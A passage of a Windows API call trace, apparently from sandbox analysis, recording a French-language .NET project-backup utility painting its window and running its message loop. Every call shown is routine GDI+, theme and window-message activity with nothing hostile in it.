0x0 [0261.752] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0261.752] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0261.752] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.752] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd850) returned 0x0 [0261.752] LocalFree (hMem=0x5fd850) returned 0x0 [0261.752] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.752] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd850) returned 0x0 [0261.752] LocalFree (hMem=0x5fd850) returned 0x0 [0261.752] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0261.752] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0261.752] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0261.752] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0261.752] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0261.752] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0261.752] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.752] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.752] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.752] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.752] SaveDC (hdc=0x90106c3) returned 1 [0261.752] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x970401eb [0261.752] GetClipRgn (hdc=0x90106c3, hrgn=0x970401eb) returned 0 [0261.752] SelectClipRgn (hdc=0x90106c3, hrgn=0x93040789) returned 2 [0261.753] DeleteObject (ho=0x970401eb) returned 1 [0261.753] DeleteObject (ho=0x93040789) returned 1 [0261.753] OffsetViewportOrgEx (in: hdc=0x90106c3, x=0, y=0, lppt=0x25aaa4c | out: lppt=0x25aaa4c) returned 1 [0261.753] IsAppThemed () returned 0x1 [0261.753] GetThemeAppProperties () returned 0x3 [0261.753] GetThemeAppProperties () returned 0x3 [0261.753] DrawThemeBackground () returned 0x0 [0261.753] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.753] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.753] GdipCreateRegion (region=0x2be410) returned 0x0 [0261.753] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0261.753] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0261.753] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0261.753] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0261.753] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.753] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd850) returned 0x0 [0261.753] LocalFree (hMem=0x5fd850) returned 0x0 [0261.753] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.753] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd850) returned 0x0 [0261.753] LocalFree (hMem=0x5fd850) returned 0x0 [0261.753] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0261.753] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0261.753] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0261.753] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0261.754] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0261.754] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0261.754] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.754] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.754] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.754] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.754] SaveDC (hdc=0x90106c3) returned 1 [0261.754] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x94040789 [0261.754] GetClipRgn (hdc=0x90106c3, hrgn=0x94040789) returned 0 [0261.754] SelectClipRgn (hdc=0x90106c3, hrgn=0x980401eb) returned 2 [0261.754] DeleteObject (ho=0x94040789) returned 1 [0261.754] DeleteObject (ho=0x980401eb) returned 1 [0261.754] OffsetViewportOrgEx (in: hdc=0x90106c3, x=0, y=0, lppt=0x25aad20 | out: lppt=0x25aad20) returned 1 [0261.754] IsAppThemed () returned 0x1 [0261.754] GetThemeAppProperties () returned 0x3 [0261.754] GetThemeAppProperties () returned 0x3 [0261.754] GetThemeBackgroundContentRect () returned 0x0 [0261.754] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.754] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.754] IsAppThemed () returned 0x1 [0261.754] GetThemeAppProperties () returned 0x3 [0261.754] GetThemeAppProperties () returned 0x3 [0261.754] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0261.755] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0261.755] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.755] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.755] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.755] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.755] SaveDC (hdc=0x90106c3) returned 1 [0261.755] GetTextAlign (hdc=0x90106c3) returned 0x0 [0261.755] GetTextColor (hdc=0x90106c3) returned 0x0 [0261.755] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.755] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0261.755] SelectObject (hdc=0x90106c3, h=0x90a01e9) returned 0x18a002e [0261.755] GetBkMode (hdc=0x90106c3) returned 2 [0261.755] SetBkMode (hdc=0x90106c3, mode=1) returned 2 [0261.755] DrawTextExW (in: hdc=0x90106c3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x25ab0b4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0261.755] DrawTextExW (in: hdc=0x90106c3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x25ab0b4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0261.756] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.756] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.756] GetFocus () returned 0x1019c [0261.756] IsAppThemed () returned 0x1 [0261.756] GetThemeAppProperties () returned 0x3 [0261.756] GetThemeAppProperties () returned 0x3 [0261.756] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0261.756] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x90106c3, x1=0, y1=0, rop=0xcc0020) returned 1 [0261.756] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.756] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0261.756] SelectObject (hdc=0x90106c3, h=0x185000f) returned 0x210506ba [0261.756] DeleteDC (hdc=0x90106c3) returned 1 [0261.756] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0261.756] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0261.757] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0261.757] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0261.757] WaitMessage () returned 1 [0261.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.946] IsWindowUnicode (hWnd=0x20152) returned 1 [0261.946] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.946] TranslateMessage (lpMsg=0x2bec18) returned 0 [0261.946] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0261.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0261.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0261.946] WaitMessage () returned 1 [0262.056] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.056] IsWindowUnicode (hWnd=0x1019e) returned 1 [0262.056] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.056] TranslateMessage (lpMsg=0x2bec18) returned 0 [0262.056] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0262.056] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.056] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.056] WaitMessage () returned 1 [0262.584] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.584] IsWindowUnicode (hWnd=0x1019c) returned 1 [0262.584] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.584] GetKeyState (nVirtKey=16) returned 0 [0262.584] GetKeyState (nVirtKey=17) returned 0 [0262.584] GetKeyState (nVirtKey=18) returned -128 [0262.584] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0262.584] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0262.584] GetKeyState (nVirtKey=16) returned 0 [0262.584] GetKeyState (nVirtKey=17) returned 0 [0262.584] GetKeyState (nVirtKey=18) returned -128 [0262.585] TranslateMessage (lpMsg=0x2bec18) returned 1 [0262.585] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0262.585] GetKeyState (nVirtKey=16) returned 0 [0262.585] GetKeyState (nVirtKey=17) returned 0 [0262.585] GetKeyState (nVirtKey=18) returned -128 [0262.585] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0262.585] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.585] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.585] WaitMessage () returned 1 [0262.596] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.596] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0262.679] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.679] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0262.834] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0262.834] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0262.835] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0262.835] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0262.837] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0262.837] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0262.837] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0262.853] NtdllDefWindowProc_W () returned 0x0 [0262.853] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0262.853] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0262.853] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0262.853] GetCapture () returned 0x0 [0262.853] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0262.854] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0262.854] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0262.854] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0262.854] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.854] IsWindowUnicode (hWnd=0x1019c) returned 1 [0262.854] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.854] TranslateMessage (lpMsg=0x2bec18) returned 0 [0262.854] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0262.854] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0262.854] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0262.854] CreateCompatibleDC (hdc=0x701068c) returned 0x5a010735 [0262.854] SelectObject (hdc=0x5a010735, h=0x210506ba) returned 0x185000f [0262.854] GdipCreateFromHDC (hdc=0x5a010735, graphics=0x2be714) returned 0x0 [0262.854] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0262.854] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0262.854] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0262.855] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0262.855] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0262.855] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.855] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd7a8) returned 0x0 [0262.855] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.855] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0262.855] GdipCreateRegion (region=0x2be75c) returned 0x0 [0262.855] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0262.855] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0262.855] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0262.855] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd830dbd) returned 0x0 [0262.855] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0262.855] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0262.855] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.855] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.855] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.855] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.855] SaveDC (hdc=0x5a010735) returned 1 [0262.855] GetNearestColor (hdc=0x5a010735, color=0xf0f0f0) returned 0xf0f0f0 [0262.855] GetNearestColor (hdc=0x5a010735, color=0xa0a0a0) returned 0xa0a0a0 [0262.856] GetNearestColor (hdc=0x5a010735, color=0x696969) returned 0x696969 [0262.856] GetNearestColor (hdc=0x5a010735, color=0xa0a0a0) returned 0xa0a0a0 [0262.856] GetNearestColor (hdc=0x5a010735, color=0x0) returned 0x0 [0262.856] GetNearestColor (hdc=0x5a010735, color=0xffffff) returned 0xffffff [0262.856] GetNearestColor (hdc=0x5a010735, color=0xe5e5e5) returned 0xe5e5e5 [0262.856] GetNearestColor (hdc=0x5a010735, color=0xd7d7d7) returned 0xd7d7d7 [0262.856] GetNearestColor (hdc=0x5a010735, color=0x0) returned 0x0 [0262.856] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.856] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.856] IsAppThemed () returned 0x1 [0262.856] GetThemeAppProperties () returned 0x3 [0262.856] GetThemeAppProperties () returned 0x3 [0262.856] IsAppThemed () returned 0x1 [0262.856] GetThemeAppProperties () returned 0x3 [0262.856] GetThemeAppProperties () returned 0x3 [0262.856] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2675df8 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0262.856] IsAppThemed () returned 0x1 [0262.856] GetThemeAppProperties () returned 0x3 [0262.856] GetThemeAppProperties () returned 0x3 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetFocus () returned 0x0 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] IsThemePartDefined () returned 0x1 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] IsAppThemed () returned 0x1 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] GetThemeAppProperties () returned 0x3 [0262.857] IsThemePartDefined () returned 0x1 [0262.857] GdipCreateRegion (region=0x2be484) returned 0x0 [0262.857] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0262.857] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0262.857] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0262.857] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0262.857] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.857] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd7a8) returned 0x0 [0262.857] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.857] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.857] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd7a8) returned 0x0 [0262.858] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.858] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0262.858] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0262.858] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0262.858] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0262.858] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0262.858] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0262.858] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.858] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.858] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.858] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.858] SaveDC (hdc=0x5a010735) returned 1 [0262.858] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x990401eb [0262.858] GetClipRgn (hdc=0x5a010735, hrgn=0x990401eb) returned 0 [0262.858] SelectClipRgn (hdc=0x5a010735, hrgn=0x9b040789) returned 2 [0262.858] DeleteObject (ho=0x990401eb) returned 1 [0262.858] DeleteObject (ho=0x9b040789) returned 1 [0262.858] OffsetViewportOrgEx (in: hdc=0x5a010735, x=0, y=0, lppt=0x26764a8 | out: lppt=0x26764a8) returned 1 [0262.858] DrawThemeParentBackground () returned 0x0 [0262.859] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0262.859] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0262.859] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0262.859] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.859] GetSystemMetrics (nIndex=42) returned 0 [0262.859] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.859] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0262.859] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0262.859] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.859] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.859] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.859] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.859] SaveDC (hdc=0x5a010735) returned 2 [0262.859] GetNearestColor (hdc=0x5a010735, color=0xf0f0f0) returned 0xf0f0f0 [0262.859] CreateSolidBrush (color=0xf0f0f0) returned 0x461006a2 [0262.859] FillRect (hDC=0x5a010735, lprc=0x2bdf94, hbr=0x461006a2) returned 1 [0262.859] DeleteObject (ho=0x461006a2) returned 1 [0262.859] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.859] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0262.860] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.860] GetSystemMetrics (nIndex=42) returned 0 [0262.860] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.860] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0262.860] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0262.860] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.860] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.860] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.860] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.860] SaveDC (hdc=0x5a010735) returned 2 [0262.860] GetNearestColor (hdc=0x5a010735, color=0xf0f0f0) returned 0xf0f0f0 [0262.860] CreateSolidBrush (color=0xf0f0f0) returned 0x471006a2 [0262.860] FillRect (hDC=0x5a010735, lprc=0x2bdf34, hbr=0x471006a2) returned 1 [0262.860] DeleteObject (ho=0x471006a2) returned 1 [0262.860] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.860] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0262.860] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0262.860] GetSystemMetrics (nIndex=42) returned 0 [0262.860] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0262.860] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0262.861] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.861] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.861] IsAppThemed () returned 0x1 [0262.861] GetThemeAppProperties () returned 0x3 [0262.861] GetThemeAppProperties () returned 0x3 [0262.861] IsAppThemed () returned 0x1 [0262.861] GetThemeAppProperties () returned 0x3 [0262.861] GetThemeAppProperties () returned 0x3 [0262.861] IsThemePartDefined () returned 0x1 [0262.861] GdipCreateRegion (region=0x2be428) returned 0x0 [0262.861] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0262.861] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0262.861] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0262.861] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0262.861] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.861] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd7a8) returned 0x0 [0262.861] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.861] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.861] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd7a8) returned 0x0 [0262.861] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.861] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0262.861] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0262.861] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0262.861] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0262.862] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0262.862] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0262.862] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.862] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.862] GetCurrentObject 